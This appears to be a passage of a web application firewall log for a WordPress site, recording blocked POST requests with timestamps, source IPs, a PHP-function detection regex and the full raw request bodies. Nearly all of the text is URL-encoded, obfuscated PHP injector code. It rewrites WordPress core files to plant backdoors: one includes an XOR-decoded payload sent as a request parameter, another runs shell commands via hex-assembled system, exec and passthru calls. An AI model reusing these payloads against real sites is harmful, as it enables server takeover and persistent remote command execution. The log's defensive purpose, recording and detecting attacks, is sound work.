%2540unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524binding%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-length:4235\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-scripts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6B%255Cx65y%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524pointer%2529%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524e%255D%2529%2520%255E%252030%2529%253B%2524e%252B%252B%253B%257D%2520%2524data_chunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524binding%2520%253D%25200%253B%2520do%2520%257B%2520%2524ref%2520%253D%2520%2524data_chunk%255B%2524binding%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524binding%2520%253E%253D%2520count%2528%2524data_chunk%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524ref%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524binding%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:49:42","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-scripts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6B%255Cx65y%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524pointer%2529%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524e%255D%2529%2520%255E%252030%2529%253B%2524e%252B%252B%253B%257D%2520%2524data_chunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524binding%2520%253D%25200%253B%2520do%2520%257B%2520%2524ref%2520%253D%2520%2524data_chunk%255B%2524binding%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524binding%2520%253E%253D%2520count%2528%2524data_chunk%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524ref%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524binding%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:4212\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqypvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nvW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-scripts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6B%255Cx65y%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524pointer%2529%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524e%255D%2529%2520%255E%252030%2529%253B%2524e%252B%252B%253B%257D%2520%2524data_chunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524binding%2520%253D%25200%253B%2520do%2520%257B%2520%2524ref%2520%253D%2520%2524data_chunk%255B%2524binding%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524binding%2520%253E%253D%2520count%2528%2524data_chunk%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524ref%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524binding%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:45","129.121.41.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Hc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%2527746%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%25276c6%2527%253B%2524itm6%2520%253D%2520%2527c5f%2527%253B%2524itm7%2520%253D%2520%2527657%2527%253B%2524itm8%2520%253D%2520%2527706%2527%253B%2524itm9%2520%253D%2520%2527173%2527%253B%2524itm10%2520%253D%2520%2527f70%2527%253B%2524itm11%2520%253D%2520%2527472%2527%253B%2524itm12%2520%253D%2520%2527656%2527%253B%2524itm13%2520%253D%2520%252716d%2527%253B%2524itm14%2520%253D%2520%25275f6%2527%253B%2524itm15%2520%253D%2520%25276f6%2527%253B%2524itm16%2520%253D%2520%2527e74%2527%253B%2524itm17%2520%253D%2520%252736c%2527%253B%2524itm18%2520%253D%2520%25276f7%2527%253B%2524itm19%2520%253D%2520%2527365%2527%253B%2524itm20%2520%253D%2520%25276e7%2527%253B%2524itm21%2520%253D%2520%2527174%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1%2520.%2520%2524itm2%2520.%2520%2524itm3%2520.%2520%252756d%2527%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524itm4%2520.%2520%2524itm5%2520.%2520%2524itm6%2520.%2520%2524itm7%2520.%2520%2524itm4%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524itm4%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm9%2520.%2520%2524itm1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524itm10%2520.%2520%2527656%2527%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524itm11%2520.%2520%2524itm12%2520.%2520%2524itm13%2520.%2520%2524itm14%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524itm15%2520.%2520%2524itm16%2520.%2520%2527656%2527%2520.%2520%2524itm16%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm17%2520.%2520%2524itm18%2520.%2520%2524itm19%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7%2520.%2520%2527665%2527%2520.%2520%2524itm20%2520.%2520%252745f%2527%2520.%2520%2527646%2527%2520.%2520%2527973%2527%2520.%2520%2527706%2527%2520.%2520%2524itm21%2520.%2520%2527636%2527%2520.%2520%2524itm4%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524event_dispatcher%252C%2524binding_obj%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524binding_obj%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524pset_holder%253D%2524publish_content5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524pset_holder%2529%257B%2524hld_object%253D%2524publish_content6%2528%2524pset_holder%2529%253B%2524publish_content7%2528%2524pset_holder%2529%253Bprint%2520%2524hld_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:6732\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFTZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nHc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%2527746%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%25276c6%2527%253B%2524itm6%2520%253D%2520%2527c5f%2527%253B%2524itm7%2520%253D%2520%2527657%2527%253B%2524itm8%2520%253D%2520%2527706%2527%253B%2524itm9%2520%253D%2520%2527173%2527%253B%2524itm10%2520%253D%2520%2527f70%2527%253B%2524itm11%2520%253D%2520%2527472%2527%253B%2524itm12%2520%253D%2520%2527656%2527%253B%2524itm13%2520%253D%2520%252716d%2527%253B%2524itm14%2520%253D%2520%25275f6%2527%253B%2524itm15%2520%253D%2520%25276f6%2527%253B%2524itm16%2520%253D%2520%2527e74%2527%253B%2524itm17%2520%253D%2520%252736c%2527%253B%2524itm18%2520%253D%2520%25276f7%2527%253B%2524itm19%2520%253D%2520%2527365%2527%253B%2524itm20%2520%253D%2520%25276e7%2527%253B%2524itm21%2520%253D%2520%2527174%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1%2520.%2520%2524itm2%2520.%2520%2524itm3%2520.%2520%252756d%2527%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524itm4%2520.%2520%2524itm5%2520.%2520%2524itm6%2520.%2520%2524itm7%2520.%2520%2524itm4%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524itm4%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm9%2520.%2520%2524itm1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524itm10%2520.%2520%2527656%2527%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524itm11%2520.%2520%2524itm12%2520.%2520%2524itm13%2520.%2520%2524itm14%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524itm15%2520.%2520%2524itm16%2520.%2520%2527656%2527%2520.%2520%2524itm16%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm17%2520.%2520%2524itm18%2520.%2520%2524itm19%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7%2520.%2520%2527665%2527%2520.%2520%2524itm20%2520.%2520%252745f%2527%2520.%2520%2527646%2527%2520.%2520%2527973%2527%2520.%2520%2527706%2527%2520.%2520%2524itm21%2520.%2520%2527636%2527%2520.%2520%2524itm4%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524event_dispatcher%252C%2524binding_obj%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524binding_obj%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524pset_holder%253D%2524publish_content5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524pset_holder%2529%257B%2524hld_object%253D%2524publish_content6%2528%2524pset_holder%2529%253B%2524publish_content7%2528%2524pset_holder%2529%253Bprint%2520%2524hld_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
